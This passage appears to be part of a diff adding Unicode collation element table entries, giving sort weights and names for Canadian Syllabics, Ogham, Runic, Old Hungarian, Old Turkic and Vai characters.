+18E8 ; [.3539.0020.0002] # CANADIAN SYLLABICS TLHWE +18E9 ; [.353A.0020.0002] # CANADIAN SYLLABICS TLHOO +18EA ; [.353B.0020.0002] # CANADIAN SYLLABICS SAYISI SHWE +18EB ; [.353C.0020.0002] # CANADIAN SYLLABICS SAYISI SHOO +18EC ; [.353D.0020.0002] # CANADIAN SYLLABICS SAYISI HOO +18ED ; [.353E.0020.0002] # CANADIAN SYLLABICS CARRIER GWU +18EE ; [.353F.0020.0002] # CANADIAN SYLLABICS CARRIER DENE GEE +18EF ; [.3540.0020.0002] # CANADIAN SYLLABICS CARRIER GAA +18F0 ; [.3541.0020.0002] # CANADIAN SYLLABICS CARRIER GWA +18F1 ; [.3542.0020.0002] # CANADIAN SYLLABICS SAYISI JUU +18F2 ; [.3543.0020.0002] # CANADIAN SYLLABICS CARRIER JWA +18F3 ; [.3544.0020.0002] # CANADIAN SYLLABICS BEAVER DENE L +18F4 ; [.3545.0020.0002] # CANADIAN SYLLABICS BEAVER DENE R +18F5 ; [.3546.0020.0002] # CANADIAN SYLLABICS CARRIER DENTAL S +1681 ; [.3547.0020.0002] # OGHAM LETTER BEITH +1682 ; [.3548.0020.0002] # OGHAM LETTER LUIS +1683 ; [.3549.0020.0002] # OGHAM LETTER FEARN +1684 ; [.354A.0020.0002] # OGHAM LETTER SAIL +1685 ; [.354B.0020.0002] # OGHAM LETTER NION +1686 ; [.354C.0020.0002] # OGHAM LETTER UATH +1687 ; [.354D.0020.0002] # OGHAM LETTER DAIR +1688 ; [.354E.0020.0002] # OGHAM LETTER TINNE +1689 ; [.354F.0020.0002] # OGHAM LETTER COLL +168A ; [.3550.0020.0002] # OGHAM LETTER CEIRT +168B ; [.3551.0020.0002] # OGHAM LETTER MUIN +168C ; [.3552.0020.0002] # OGHAM LETTER GORT +168D ; [.3553.0020.0002] # OGHAM LETTER NGEADAL +168E ; [.3554.0020.0002] # OGHAM LETTER STRAIF +168F ; [.3555.0020.0002] # OGHAM LETTER RUIS +1690 ; [.3556.0020.0002] # OGHAM LETTER AILM +1691 ; [.3557.0020.0002] # OGHAM LETTER ONN +1692 ; [.3558.0020.0002] # OGHAM LETTER UR +1693 ; [.3559.0020.0002] # OGHAM LETTER EADHADH +1694 ; [.355A.0020.0002] # OGHAM LETTER IODHADH +1695 ; [.355B.0020.0002] # OGHAM LETTER EABHADH +1696 ; [.355C.0020.0002] # OGHAM LETTER OR +1697 ; [.355D.0020.0002] # OGHAM LETTER UILLEANN +1698 ; [.355E.0020.0002] # OGHAM LETTER IFIN +1699 ; [.355F.0020.0002] # OGHAM LETTER EAMHANCHOLL +169A ; [.3560.0020.0002] # OGHAM LETTER PEITH +16A0 ; [.3561.0020.0002] # RUNIC LETTER FEHU FEOH FE F +16A1 ; [.3561.0020.0004][.0000.010B.0004] # RUNIC LETTER V +16A2 ; [.3562.0020.0002] # RUNIC LETTER URUZ UR U +16A4 ; [.3562.0020.0004][.0000.010B.0004] # RUNIC LETTER Y +16A5 ; [.3562.0020.0004][.0000.010C.0004] # RUNIC LETTER W +16A6 ; [.3563.0020.0002] # RUNIC LETTER THURISAZ THURS THORN +16A7 ; [.3563.0020.0004][.0000.010B.0004] # RUNIC LETTER ETH +16F0 ; [.3563.0020.0004][.3563.0020.0004] # RUNIC BELGTHOR SYMBOL +16A8 ; [.3564.0020.0002] # RUNIC LETTER ANSUZ A +16A9 ; [.3564.0020.0004][.0000.010B.0004] # RUNIC LETTER OS O +16AC ; [.3564.0020.0004][.0000.010C.0004] # RUNIC LETTER LONG-BRANCH-OSS O +16AD ; [.3564.0020.0004][.0000.010D.0004] # RUNIC LETTER SHORT-TWIG-OSS O +16AE ; [.3564.0020.0004][.0000.010E.0004] # RUNIC LETTER O +16F4 ; [.3565.0020.0002] # RUNIC LETTER FRANKS CASKET OS +16AF ; [.3566.0020.0002] # RUNIC LETTER OE +16B0 ; [.3567.0020.0002] # RUNIC LETTER ON +16B1 ; [.3568.0020.0002] # RUNIC LETTER RAIDO RAD REID R +16B2 ; [.3569.0020.0002] # RUNIC LETTER KAUNA +16B3 ; [.3569.0020.0004][.0000.010B.0004] # RUNIC LETTER CEN +16B4 ; [.3569.0020.0004][.0000.010C.0004] # RUNIC LETTER KAUN K +16B5 ; [.3569.0020.0004][.0000.010D.0004] # RUNIC LETTER G +16B6 ; [.3569.0020.0004][.0000.010E.0004] # RUNIC LETTER ENG +16F1 ; [.356A.0020.0002] # RUNIC LETTER K +16B7 ; [.356B.0020.0002] # RUNIC LETTER GEBO GYFU G +16B9 ; [.356C.0020.0002] # RUNIC LETTER WUNJO WYNN W +16E9 ; [.356C.0020.0004][.0000.010B.0004] # RUNIC LETTER Q +16BA ; [.356D.0020.0002] # RUNIC LETTER HAGLAZ H +16BB ; [.356D.0020.0004][.0000.010B.0004] # RUNIC LETTER HAEGL H +16BC ; [.356D.0020.0004][.0000.010C.0004] # RUNIC LETTER LONG-BRANCH-HAGALL H +16BD ; [.356D.0020.0004][.0000.010D.0004] # RUNIC LETTER SHORT-TWIG-HAGALL H +16BE ; [.356E.0020.0002] # RUNIC LETTER NAUDIZ NYD NAUD N +16BF ; [.356E.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-NAUD N +16C0 ; [.356E.0020.0004][.0000.010C.0004] # RUNIC LETTER DOTTED-N +16C1 ; [.356F.0020.0002] # RUNIC LETTER ISAZ IS ISS I +16C2 ; [.356F.0020.0004][.0000.010B.0004] # RUNIC LETTER E +16F5 ; [.3570.0020.0002] # RUNIC LETTER FRANKS CASKET IS +16C3 ; [.3571.0020.0002] # RUNIC LETTER JERAN J +16C4 ; [.3571.0020.0004][.0000.010B.0004] # RUNIC LETTER GER +16C5 ; [.3572.0020.0002] # RUNIC LETTER LONG-BRANCH-AR AE +16C6 ; [.3572.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-AR A +16EE ; [.3572.0020.0004][.357D.0020.0004] # RUNIC ARLAUG SYMBOL +16C7 ; [.3573.0020.0002] # RUNIC LETTER IWAZ EOH +16C8 ; [.3574.0020.0002] # RUNIC LETTER PERTHO PEORTH P +16D5 ; [.3574.0020.0004][.0000.010B.0004] # RUNIC LETTER OPEN-P +16C9 ; [.3575.0020.0002] # RUNIC LETTER ALGIZ EOLHX +16CA ; [.3576.0020.0002] # RUNIC LETTER SOWILO S +16CB ; [.3576.0020.0004][.0000.010B.0004] # RUNIC LETTER SIGEL LONG-BRANCH-SOL S +16EA ; [.3576.0020.0004][.0000.010C.0004] # RUNIC LETTER X +16CC ; [.3576.0020.0004][.0000.010D.0004] # RUNIC LETTER SHORT-TWIG-SOL S +16CD ; [.3576.0020.0004][.0000.010E.0004] # RUNIC LETTER C +16CE ; [.3576.0020.0004][.0000.010F.0004] # RUNIC LETTER Z +16F2 ; [.3577.0020.0002] # RUNIC LETTER SH +16CF ; [.3578.0020.0002] # RUNIC LETTER TIWAZ TIR TYR T +16D0 ; [.3578.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-TYR T +16D1 ; [.3578.0020.0004][.0000.010C.0004] # RUNIC LETTER D +16D2 ; [.3579.0020.0002] # RUNIC LETTER BERKANAN BEORC BJARKAN B +16D3 ; [.3579.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-BJARKAN B +16D4 ; [.3579.0020.0004][.0000.010C.0004] # RUNIC LETTER DOTTED-P +16D6 ; [.357A.0020.0002] # RUNIC LETTER EHWAZ EH E +16F6 ; [.357B.0020.0002] # RUNIC LETTER FRANKS CASKET EH +16D7 ; [.357C.0020.0002] # RUNIC LETTER MANNAZ MAN M +16D8 ; [.357C.0020.0004][.0000.010B.0004] # RUNIC LETTER LONG-BRANCH-MADR M +16D9 ; [.357C.0020.0004][.0000.010C.0004] # RUNIC LETTER SHORT-TWIG-MADR M +16EF ; [.357C.0020.0004][.0000.010B.0004][.357C.0020.0004][.0000.010B.0004] # RUNIC TVIMADUR SYMBOL +16DA ; [.357D.0020.0002] # RUNIC LETTER LAUKAZ LAGU LOGR L +16DB ; [.357D.0020.0004][.0000.010B.0004] # RUNIC LETTER DOTTED-L +16DC ; [.357E.0020.0002] # RUNIC LETTER INGWAZ +16DD ; [.357E.0020.0004][.0000.010B.0004] # RUNIC LETTER ING +16DE ; [.357F.0020.0002] # RUNIC LETTER DAGAZ DAEG D +16DF ; [.3580.0020.0002] # RUNIC LETTER OTHALAN ETHEL O +16F3 ; [.3581.0020.0002] # RUNIC LETTER OO +16AA ; [.3582.0020.0002] # RUNIC LETTER AC A +16F7 ; [.3583.0020.0002] # RUNIC LETTER FRANKS CASKET AC +16AB ; [.3584.0020.0002] # RUNIC LETTER AESC +16F8 ; [.3585.0020.0002] # RUNIC LETTER FRANKS CASKET AESC +16A3 ; [.3586.0020.0002] # RUNIC LETTER YR +16E0 ; [.3587.0020.0002] # RUNIC LETTER EAR +16E3 ; [.3588.0020.0002] # RUNIC LETTER CALC +16B8 ; [.3589.0020.0002] # RUNIC LETTER GAR +16E4 ; [.358A.0020.0002] # RUNIC LETTER CEALC +16E1 ; [.358B.0020.0002] # RUNIC LETTER IOR +16E2 ; [.358C.0020.0002] # RUNIC LETTER CWEORTH +16E5 ; [.358D.0020.0002] # RUNIC LETTER STAN +16E6 ; [.358E.0020.0002] # RUNIC LETTER LONG-BRANCH-YR +16E7 ; [.358E.0020.0004][.0000.010B.0004] # RUNIC LETTER SHORT-TWIG-YR +16E8 ; [.358E.0020.0004][.0000.010C.0004] # RUNIC LETTER ICELANDIC-YR +10CC0 ; [.358F.0020.0002] # OLD HUNGARIAN SMALL LETTER A +10C80 ; [.358F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER A +10CC1 ; [.358F.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER AA +10C81 ; [.358F.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER AA +10CC2 ; [.3590.0020.0002] # OLD HUNGARIAN SMALL LETTER EB +10C82 ; [.3590.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EB +10CC3 ; [.3591.0020.0002] # OLD HUNGARIAN SMALL LETTER AMB +10C83 ; [.3591.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AMB +10CC4 ; [.3592.0020.0002] # OLD HUNGARIAN SMALL LETTER EC +10C84 ; [.3592.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EC +10CC5 ; [.3593.0020.0002] # OLD HUNGARIAN SMALL LETTER ENC +10C85 ; [.3593.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENC +10CC6 ; [.3594.0020.0002] # OLD HUNGARIAN SMALL LETTER ECS +10C86 ; [.3594.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECS +10CC7 ; [.3595.0020.0002] # OLD HUNGARIAN SMALL LETTER ED +10C87 ; [.3595.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ED +10CC8 ; [.3596.0020.0002] # OLD HUNGARIAN SMALL LETTER AND +10C88 ; [.3596.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AND +10CC9 ; [.3597.0020.0002] # OLD HUNGARIAN SMALL LETTER E +10C89 ; [.3597.0020.0008] # OLD HUNGARIAN CAPITAL LETTER E +10CCA ; [.3597.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER CLOSE E +10C8A ; [.3597.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER CLOSE E +10CCB ; [.3597.0020.0004][.0000.010C.0004] # OLD HUNGARIAN SMALL LETTER EE +10C8B ; [.3597.0020.000A][.0000.010C.0004] # OLD HUNGARIAN CAPITAL LETTER EE +10CCC ; [.3598.0020.0002] # OLD HUNGARIAN SMALL LETTER EF +10C8C ; [.3598.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EF +10CCD ; [.3599.0020.0002] # OLD HUNGARIAN SMALL LETTER EG +10C8D ; [.3599.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EG +10CCE ; [.359A.0020.0002] # OLD HUNGARIAN SMALL LETTER EGY +10C8E ; [.359A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EGY +10CCF ; [.359B.0020.0002] # OLD HUNGARIAN SMALL LETTER EH +10C8F ; [.359B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EH +10CD0 ; [.359C.0020.0002] # OLD HUNGARIAN SMALL LETTER I +10C90 ; [.359C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER I +10CD1 ; [.359C.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER II +10C91 ; [.359C.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER II +10CD2 ; [.359D.0020.0002] # OLD HUNGARIAN SMALL LETTER EJ +10C92 ; [.359D.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EJ +10CD3 ; [.359E.0020.0002] # OLD HUNGARIAN SMALL LETTER EK +10C93 ; [.359E.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EK +10CD4 ; [.359F.0020.0002] # OLD HUNGARIAN SMALL LETTER AK +10C94 ; [.359F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AK +10CD5 ; [.35A0.0020.0002] # OLD HUNGARIAN SMALL LETTER UNK +10C95 ; [.35A0.0020.0008] # OLD HUNGARIAN CAPITAL LETTER UNK +10CD6 ; [.35A1.0020.0002] # OLD HUNGARIAN SMALL LETTER EL +10C96 ; [.35A1.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EL +10CD7 ; [.35A2.0020.0002] # OLD HUNGARIAN SMALL LETTER ELY +10C97 ; [.35A2.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ELY +10CD8 ; [.35A3.0020.0002] # OLD HUNGARIAN SMALL LETTER EM +10C98 ; [.35A3.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EM +10CD9 ; [.35A4.0020.0002] # OLD HUNGARIAN SMALL LETTER EN +10C99 ; [.35A4.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EN +10CDA ; [.35A5.0020.0002] # OLD HUNGARIAN SMALL LETTER ENY +10C9A ; [.35A5.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENY +10CDB ; [.35A6.0020.0002] # OLD HUNGARIAN SMALL LETTER O +10C9B ; [.35A6.0020.0008] # OLD HUNGARIAN CAPITAL LETTER O +10CDC ; [.35A6.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER OO +10C9C ; [.35A6.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER OO +10CDD ; [.35A7.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE +10C9D ; [.35A7.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE +10CDE ; [.35A7.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA OE +10C9E ; [.35A7.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE +10CDF ; [.35A7.0020.0004][.0000.010C.0004] # OLD HUNGARIAN SMALL LETTER OEE +10C9F ; [.35A7.0020.000A][.0000.010C.0004] # OLD HUNGARIAN CAPITAL LETTER OEE +10CE0 ; [.35A8.0020.0002] # OLD HUNGARIAN SMALL LETTER EP +10CA0 ; [.35A8.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EP +10CE1 ; [.35A9.0020.0002] # OLD HUNGARIAN SMALL LETTER EMP +10CA1 ; [.35A9.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EMP +10CE2 ; [.35AA.0020.0002] # OLD HUNGARIAN SMALL LETTER ER +10CA2 ; [.35AA.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ER +10CE3 ; [.35AA.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER SHORT ER +10CA3 ; [.35AA.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER SHORT ER +10CE4 ; [.35AB.0020.0002] # OLD HUNGARIAN SMALL LETTER ES +10CA4 ; [.35AB.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ES +10CE5 ; [.35AC.0020.0002] # OLD HUNGARIAN SMALL LETTER ESZ +10CA5 ; [.35AC.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ESZ +10CE6 ; [.35AD.0020.0002] # OLD HUNGARIAN SMALL LETTER ET +10CA6 ; [.35AD.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ET +10CE7 ; [.35AE.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT +10CA7 ; [.35AE.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT +10CE8 ; [.35AF.0020.0002] # OLD HUNGARIAN SMALL LETTER ETY +10CA8 ; [.35AF.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ETY +10CE9 ; [.35B0.0020.0002] # OLD HUNGARIAN SMALL LETTER ECH +10CA9 ; [.35B0.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECH +10CEA ; [.35B1.0020.0002] # OLD HUNGARIAN SMALL LETTER U +10CAA ; [.35B1.0020.0008] # OLD HUNGARIAN CAPITAL LETTER U +10CEB ; [.35B1.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER UU +10CAB ; [.35B1.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER UU +10CEC ; [.35B2.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE +10CAC ; [.35B2.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE +10CED ; [.35B2.0020.0004][.0000.010B.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA UE +10CAD ; [.35B2.0020.000A][.0000.010B.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE +10CEE ; [.35B3.0020.0002] # OLD HUNGARIAN SMALL LETTER EV +10CAE ; [.35B3.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EV +10CEF ; [.35B4.0020.0002] # OLD HUNGARIAN SMALL LETTER EZ +10CAF ; [.35B4.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZ +10CF0 ; [.35B5.0020.0002] # OLD HUNGARIAN SMALL LETTER EZS +10CB0 ; [.35B5.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZS +10CF1 ; [.35B6.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN +10CB1 ; [.35B6.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN +10CF2 ; [.35B7.0020.0002] # OLD HUNGARIAN SMALL LETTER US +10CB2 ; [.35B7.0020.0008] # OLD HUNGARIAN CAPITAL LETTER US +10C00 ; [.35B8.0020.0002] # OLD TURKIC LETTER ORKHON A +10C01 ; [.35B8.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI A +10C02 ; [.35B9.0020.0002] # OLD TURKIC LETTER YENISEI AE +10C03 ; [.35BA.0020.0002] # OLD TURKIC LETTER ORKHON I +10C04 ; [.35BA.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI I +10C05 ; [.35BB.0020.0002] # OLD TURKIC LETTER YENISEI E +10C06 ; [.35BC.0020.0002] # OLD TURKIC LETTER ORKHON O +10C07 ; [.35BD.0020.0002] # OLD TURKIC LETTER ORKHON OE +10C08 ; [.35BD.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI OE +10C09 ; [.35BE.0020.0002] # OLD TURKIC LETTER ORKHON AB +10C0A ; [.35BE.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AB +10C0B ; [.35BF.0020.0002] # OLD TURKIC LETTER ORKHON AEB +10C0C ; [.35BF.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEB +10C0D ; [.35C0.0020.0002] # OLD TURKIC LETTER ORKHON AG +10C0E ; [.35C0.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AG +10C0F ; [.35C1.0020.0002] # OLD TURKIC LETTER ORKHON AEG +10C10 ; [.35C1.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEG +10C11 ; [.35C2.0020.0002] # OLD TURKIC LETTER ORKHON AD +10C12 ; [.35C2.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AD +10C13 ; [.35C3.0020.0002] # OLD TURKIC LETTER ORKHON AED +10C14 ; [.35C4.0020.0002] # OLD TURKIC LETTER ORKHON EZ +10C15 ; [.35C4.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI EZ +10C16 ; [.35C5.0020.0002] # OLD TURKIC LETTER ORKHON AY +10C17 ; [.35C5.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AY +10C18 ; [.35C6.0020.0002] # OLD TURKIC LETTER ORKHON AEY +10C19 ; [.35C6.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEY +10C1A ; [.35C7.0020.0002] # OLD TURKIC LETTER ORKHON AEK +10C1B ; [.35C7.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEK +10C1C ; [.35C8.0020.0002] # OLD TURKIC LETTER ORKHON OEK +10C1D ; [.35C8.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI OEK +10C1E ; [.35C9.0020.0002] # OLD TURKIC LETTER ORKHON AL +10C1F ; [.35C9.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AL +10C20 ; [.35CA.0020.0002] # OLD TURKIC LETTER ORKHON AEL +10C21 ; [.35CB.0020.0002] # OLD TURKIC LETTER ORKHON ELT +10C22 ; [.35CC.0020.0002] # OLD TURKIC LETTER ORKHON EM +10C23 ; [.35CD.0020.0002] # OLD TURKIC LETTER ORKHON AN +10C24 ; [.35CE.0020.0002] # OLD TURKIC LETTER ORKHON AEN +10C25 ; [.35CE.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AEN +10C26 ; [.35CF.0020.0002] # OLD TURKIC LETTER ORKHON ENT +10C27 ; [.35CF.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ENT +10C28 ; [.35D0.0020.0002] # OLD TURKIC LETTER ORKHON ENC +10C29 ; [.35D0.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ENC +10C2A ; [.35D1.0020.0002] # OLD TURKIC LETTER ORKHON ENY +10C2B ; [.35D1.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ENY +10C2C ; [.35D2.0020.0002] # OLD TURKIC LETTER YENISEI ANG +10C2D ; [.35D3.0020.0002] # OLD TURKIC LETTER ORKHON ENG +10C2E ; [.35D3.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AENG +10C2F ; [.35D4.0020.0002] # OLD TURKIC LETTER ORKHON EP +10C30 ; [.35D5.0020.0002] # OLD TURKIC LETTER ORKHON OP +10C31 ; [.35D6.0020.0002] # OLD TURKIC LETTER ORKHON IC +10C32 ; [.35D7.0020.0002] # OLD TURKIC LETTER ORKHON EC +10C33 ; [.35D7.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI EC +10C34 ; [.35D8.0020.0002] # OLD TURKIC LETTER ORKHON AQ +10C35 ; [.35D8.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AQ +10C36 ; [.35D9.0020.0002] # OLD TURKIC LETTER ORKHON IQ +10C37 ; [.35D9.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI IQ +10C38 ; [.35DA.0020.0002] # OLD TURKIC LETTER ORKHON OQ +10C39 ; [.35DA.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI OQ +10C3A ; [.35DB.0020.0002] # OLD TURKIC LETTER ORKHON AR +10C3B ; [.35DB.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AR +10C3C ; [.35DC.0020.0002] # OLD TURKIC LETTER ORKHON AER +10C3D ; [.35DD.0020.0002] # OLD TURKIC LETTER ORKHON AS +10C3E ; [.35DE.0020.0002] # OLD TURKIC LETTER ORKHON AES +10C3F ; [.35DF.0020.0002] # OLD TURKIC LETTER ORKHON ASH +10C40 ; [.35DF.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ASH +10C41 ; [.35E0.0020.0002] # OLD TURKIC LETTER ORKHON ESH +10C42 ; [.35E0.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI ESH +10C43 ; [.35E1.0020.0002] # OLD TURKIC LETTER ORKHON AT +10C44 ; [.35E1.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AT +10C45 ; [.35E2.0020.0002] # OLD TURKIC LETTER ORKHON AET +10C46 ; [.35E2.0020.0004][.0000.010B.0004] # OLD TURKIC LETTER YENISEI AET +10C47 ; [.35E3.0020.0002] # OLD TURKIC LETTER ORKHON OT +10C48 ; [.35E4.0020.0002] # OLD TURKIC LETTER ORKHON BASH +A500 ; [.35E5.0020.0002] # VAI SYLLABLE EE +A501 ; [.35E6.0020.0002] # VAI SYLLABLE EEN +A502 ; [.35E7.0020.0002] # VAI SYLLABLE HEE +A503 ; [.35E8.0020.0002] # VAI SYLLABLE WEE +A504 ; [.35E9.0020.0002] # VAI SYLLABLE WEEN +A505 ; [.35EA.0020.0002] # VAI SYLLABLE PEE +A506 ; [.35EB.0020.0002] # VAI SYLLABLE BHEE +A507 ; [.35EC.0020.0002] # VAI SYLLABLE BEE +A508 ; [.35ED.0020.0002] # VAI SYLLABLE MBEE +A509 ; [.35EE.0020.0002] # VAI SYLLABLE KPEE +A50A ; [.35EF.0020.0002] # VAI SYLLABLE MGBEE +A50B ; [.35F0.0020.0002] # VAI SYLLABLE GBEE +A50C ; [.35F1.0020.0002] # VAI SYLLABLE FEE +A613 ; [.35F1.0020.0004][.36F0.0020.0004] # VAI SYMBOL FEENG +A50D ; [.35F2.0020.0002] # VAI SYLLABLE VEE +A50E ; [.35F3.0020.0002] # VAI SYLLABLE TEE +A50F ; [.35F4.0020.0002] # VAI SYLLABLE THEE +A510 ; [.35F5.0020.0002] # VAI SYLLABLE DHEE +A511 ; [.35F6.0020.0002] # VAI SYLLABLE DHHEE +A512 ; [.35F7.0020.0002] # VAI SYLLABLE LEE +A513 ; [.35F8.0020.0002] # VAI SYLLABLE REE +A514 ; [.35F9.0020.0002] # VAI SYLLABLE DEE +A515 ; [.35FA.0020.0002] # VAI SYLLABLE NDEE +A516 ; [.35FB.0020.0002] # VAI SYLLABLE SEE +A517 ; [.35FC.0020.0002] # VAI SYLLABLE SHEE +A518 ; [.35FD.0020.0002] # VAI SYLLABLE ZEE +A519 ; [.35FE.0020.0002] # VAI SYLLABLE ZHEE +A51A ; [.35FF.0020.0002] # VAI SYLLABLE CEE +A51B ; [.3600.0020.0002] # VAI SYLLABLE JEE +A51C ; [.3601.0020.0002] # VAI SYLLABLE NJEE +A51D ; [.3602.0020.0002] # VAI SYLLABLE YEE +A51E ; [.3603.0020.0002] # VAI SYLLABLE KEE +A614 ; [.3603.0020.0004][.36F0.0020.0004] # VAI SYMBOL KEENG +A51F ; [.3604.0020.0002] # VAI SYLLABLE NGGEE +A520 ; [.3605.0020.0002] # VAI SYLLABLE GEE +A521 ; [.3606.0020.0002] # VAI SYLLABLE MEE +A522 ; [.3607.0020.0002] # VAI SYLLABLE NEE +A523 ; [.3608.0020.0002] # VAI SYLLABLE NYEE +A524 ; [.3609.0020.0002] # VAI SYLLABLE I +A525 ; [.360A.0020.0002] # VAI SYLLABLE IN +A526 ; [.360B.0020.0002] # VAI SYLLABLE HI +A527 ; [.360C.0020.0002] # VAI SYLLABLE HIN +A528 ; [.360D.0020.0002] # VAI SYLLABLE WI +A529 ; [.360E.0020.0002] # VAI SYLLABLE WIN +A52A ; [.360F.0020.0002] # VAI SYLLABLE PI +A52B ; [.3610.0020.0002] # VAI SYLLABLE BHI +A52C ; [.3611.0020.0002] # VAI SYLLABLE BI +A52D ; [.3612.0020.0002] # VAI SYLLABLE MBI +A52E ; [.3613.0020.0002] # VAI SYLLABLE KPI +A52F ; [.3614.0020.0002] # VAI SYLLABLE MGBI +A530 ; [.3615.0020.0002] # VAI SYLLABLE GBI +A531 ; [.3616.0020.0002] # VAI SYLLABLE FI +A532 ; [.3617.0020.0002] # VAI SYLLABLE VI +A533 ; [.3618.0020.0002] # VAI SYLLABLE TI +A615 ; [.3618.0020.0004][.36F0.0020.0004] # VAI SYMBOL TING +A534 ; [.3619.0020.0002] # VAI SYLLABLE THI +A535 ; [.361A.0020.0002] # VAI SYLLABLE DHI +A536 ; [.361B.0020.0002] # VAI SYLLABLE DHHI +A537 ; [.361C.0020.0002] # VAI SYLLABLE LI +A538 ; [.361D.0020.0002] # VAI SYLLABLE RI +A539 ; [.361E.0020.0002] # VAI SYLLABLE DI +A53A ; [.361F.0020.0002] # VAI SYLLABLE NDI +A53B ; [.3620.0020.0002] # VAI SYLLABLE SI +A53C ; [.3621.0020.0002] # VAI SYLLABLE SHI +A53D ; [.3622.0020.0002] # VAI SYLLABLE ZI +A53E ; [.3623.0020.0002] # VAI SYLLABLE ZHI +A53F ; [.3624.0020.0002] # VAI SYLLABLE CI +A540 ; [.3625.0020.0002] # VAI SYLLABLE JI +A541 ; [.3626.0020.0002] # VAI SYLLABLE NJI +A542 ; [.3627.0020.0002] # VAI SYLLABLE YI +A543 ; [.3628.0020.0002] # VAI SYLLABLE KI +A544 ; [.3629.0020.0002] # VAI SYLLABLE NGGI +A545 ; [.362A.0020.0002] # VAI SYLLABLE GI +A546 ; [.362B.0020.0002] # VAI SYLLABLE MI +A547 ; [.362C.0020.0002] # VAI SYLLABLE NI +A616 ; 